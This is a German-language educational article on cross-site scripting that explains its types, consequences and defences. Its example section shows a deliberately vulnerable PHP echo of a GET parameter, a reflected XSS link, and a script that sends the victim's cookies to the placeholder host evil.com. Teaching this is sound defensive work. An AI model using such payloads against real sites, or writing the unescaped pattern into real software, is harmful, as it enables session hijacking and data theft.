XSS

XSS (Cross-Site Scripting) ist eine Sicherheitslücke, bei der Angreifer schädlichen Code in Webseiten einschleusen, der dann im Browser der Opfer ausgeführt wird. Richtiges Escaping und Sicherheitsmaßnahmen verhindern solche Angriffe.

Cross-Site Scripting (XSS) ist eine häufige Sicherheitslücke in Webanwendungen, bei der Angreifer bösartigen Code – meist in JavaScript – in Webseiten einschleusen, die von anderen Nutzern besucht werden. Der Schadcode wird dann im Browser des Opfers ausgeführt und kann sensible Daten stehlen, Nutzeraktionen manipulieren oder Schadsoftware nachladen.

XSS ist besonders gefährlich, weil Angriffe oft unsichtbar ablaufen: Nutzer bemerken meist nicht, dass ein Skript im Hintergrund ihre Daten ausliest oder ihre Sitzung übernimmt.

Die Schwachstelle gehört seit vielen Jahren zu den OWASP Top 10 der gefährlichsten Websicherheitsrisiken.

Typische Folgen eines XSS-Angriffs

  • Session Hijacking – Die Sitzungs-Cookies eines Nutzers werden gestohlen, um ihn zu imitieren.
  • Credential Theft – Abgreifen von Login-Daten über manipulierte Formulare.
  • Defacement – Sichtbare Manipulation der Webseite, etwa durch geänderte Texte oder Bilder.
  • Phishing-Angriffe – Einschleusen gefälschter Formulare, um an sensible Daten zu gelangen.
  • Malware-Verteilung – Einbetten von Schadsoftware, die über den Browser des Opfers heruntergeladen wird.
  • Keylogging – Abhören von Tastatureingaben direkt im Browser.

Arten von XSS

  • Stored XSS (persistent)
    Der bösartige Code wird dauerhaft in der Anwendung gespeichert, z. B. in einer Datenbank, einem Forum-Post oder einem Kommentar. Jeder Nutzer, der die Seite aufruft, erhält den Schadcode.

  • Reflected XSS (nicht-persistent)
    Der Angriffscode wird über manipulierte URLs oder Formulare eingeschleust und direkt in der Antwort zurückgegeben. Diese Variante ist besonders verbreitet in Phishing-E-Mails mit Links.

  • DOM-based XSS
    Der Angriff erfolgt durch Manipulation des Document Object Model (DOM) im Browser selbst, meist durch unsichere Verwendung von innerHTML oder ähnlichen Funktionen. Hier ist oft gar kein Server beteiligt.

Beispiel für XSS

Eine Webseite gibt ungesicherte Benutzereingaben direkt aus:

<p>Hallo, <?php echo $_GET["name"]; ?></p>

Ein Angreifer verschickt den Link:

https://example.com/?name=<script>alert('XSS')</script>

Das führt dazu, dass der Browser des Opfers beim Aufruf ein JavaScript ausführt. Statt nur eines Pop-ups könnte das Skript auch Cookies stehlen:

<script>
  fetch("https://evil.com/steal?cookie=" + document.cookie);
</script>

Schutzmaßnahmen gegen XSS

  • Eingabevalidierung
    – Prüfen, ob Eingaben dem erwarteten Format entsprechen (z. B. nur Buchstaben/Zahlen in Formularfeldern).

  • Ausgabe-Filterung (Escaping)
    – Spezielle Zeichen wie <, >, ", ' oder & korrekt in HTML, JavaScript und URLs escapen.

  • Content Security Policy (CSP)
    – Richtlinien definieren, welche Skripte ausgeführt werden dürfen (z. B. nur von derselben Domain).

  • Framework-Schutz nutzen
    – Moderne Frameworks (Laravel, Symfony, Django, React, Angular) haben standardmäßig Mechanismen wie automatisches Escaping.

  • Keine unsicheren Funktionen
    – Vermeiden von eval(), innerHTML oder ungesicherten String-Konkatenationen im Client-Code.

  • HTTP-Only Cookies
    – Sitzungs-Cookies als HttpOnly markieren, damit sie nicht per JavaScript ausgelesen werden können.

Best Practices

  • Eingaben nie direkt ins HTML einfügen.
  • Nutzung von Prepared Statements für Datenbankabfragen.
  • Framework-Funktionen zur Template-Sicherheit aktivieren.
  • Regelmäßige Sicherheitstests und Penetrationstests durchführen.
  • Tools wie OWASP ZAP oder Burp Suite verwenden, um XSS-Schwachstellen zu erkennen.

Fazit

XSS ist eine der ältesten und zugleich gefährlichsten Sicherheitslücken im Web. Sie kann schwerwiegende Folgen für Nutzer und Unternehmen haben, lässt sich jedoch durch konsequente Validierung, korrektes Escaping und moderne Sicherheitsmechanismen effektiv verhindern.